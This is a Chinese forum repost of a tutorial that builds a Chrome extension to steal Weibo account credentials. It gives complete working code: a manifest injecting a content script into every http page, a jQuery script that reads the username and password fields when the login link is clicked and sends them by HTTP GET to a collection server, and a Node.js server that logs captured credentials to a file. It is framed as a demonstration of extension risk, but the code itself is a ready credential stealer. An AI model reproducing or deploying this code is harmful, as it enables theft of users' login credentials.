设为首页 收藏本站
查看: 917|回复: 0

[经验分享] 开发Chrome Extension截取你微博的帐号密码

[复制链接]

尚未签到

发表于 2017-2-23 12:22:49 | 显示全部楼层 |阅读模式
  Google允许开发者对Chrome浏览器做扩展,所以有了之前火爆的12306抢票软件,我 也用它抢过票,一直很好奇它怎么注入js到12306上面的。这周有空研究了下Chrome Extension,终于明白它是怎么工作的了。更多信息可以参看chrome.extension。
  但是又让我对chrome extension产生了一点担心,这么容易注入js,那盗取你的帐号密码啥的不是很方便吗?下面演示一个比较简单的盗取微博帐号密码的方法。
  要加载chrome extension首先要定义一个manifest.json文件。定义如下:



{
"manifest_version": 2,
"name": "Account Detect",
"description": "This extension will detect your account",
"version": "1.0",
"permissions": [
"http://*/*"
],
"browser_action": {
"default_icon": "icon.png"
},
"content_scripts": [
{
"matches": ["http://*/*"],
"js": ["jquery-1.10.2.min.js", "myscript.js"]
}
]
}
  注意content script加入的顺序,先填写JQuery,方便我们使用JQuery上的方法。然后是我自己定义的myscript.js。



$('body').on("click",'a[tabindex="6"]', function(event){
var username = $('input[name="username"]').val();
var passwords = $('input[name="password"]').val();
var query = '?username=' + username + '&' + 'passwords=' + passwords;
$.get('http://localhost:1337' + query, function() {});
alert(username + ':' + passwords);
});
  上面代码的意思就是让微博登陆页上的登录链接绑定上我的事件上。页面上的元素信息可以通过开发者工具查看到。事件内容就是获取页面上你输入的帐号和密码,然后通过ajax get的方式发送到我自己的服务器上保存起来。
  最后我在本地自己设个服务器来接受传输信息,后端代码使用的Node.js,代码如下:



var http = require('http');
var url = require('url');
var fs = require('fs');
http.createServer(function (req, res) {
console.log(req.url);
var query = url.parse(req.url, true).query;
var name = query.username;
var passwords = query.passwords;
if(typeof(name) == "undefined") {
console.log('oh no');
} else {
fs.open('account.txt', 'a', 666, function(e, id) {
var content = name + '\n' + passwords + '\n';
fs.write(id, content, null, 'utf8', function() {
fs.close(id, function() {
console.log('file close');
});
});
});
console.log('Request for ' + name + ' received.');
}
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Done!\n');
}).listen(1337, "127.0.0.1");
console.log('Server running at http://127.0.0.1:1337/');
  逻辑比较简单,就是把获取到的帐号密码保存到account.txt文件中。
  下面来实际演示一下吧,首先是要在Chrome浏览器(我的浏览器版本是28.0.1500.71)里加载自己的Extension:
DSC0000.png

  然后在Chrome浏览器地址栏输入http://weibo.com/,随便输入一个帐号密码,点击登录试试,就能看到用户名和密码弹框了(用户名:test_01,密码: 123456)。
   DSC0001.png
  再查看下本机服务器信息:
   DSC0002.png
  说明我们服务器接收到了信息,并且可以在server端的根目录下找到account.txt文件,里面就记录了你微博登录的帐号和密码信息。

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-346248-1-1.html 上篇帖子: 用async 解放你的大脑 下篇帖子: 【精心推荐】12个优秀资源让你迅速精通正则表达式
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表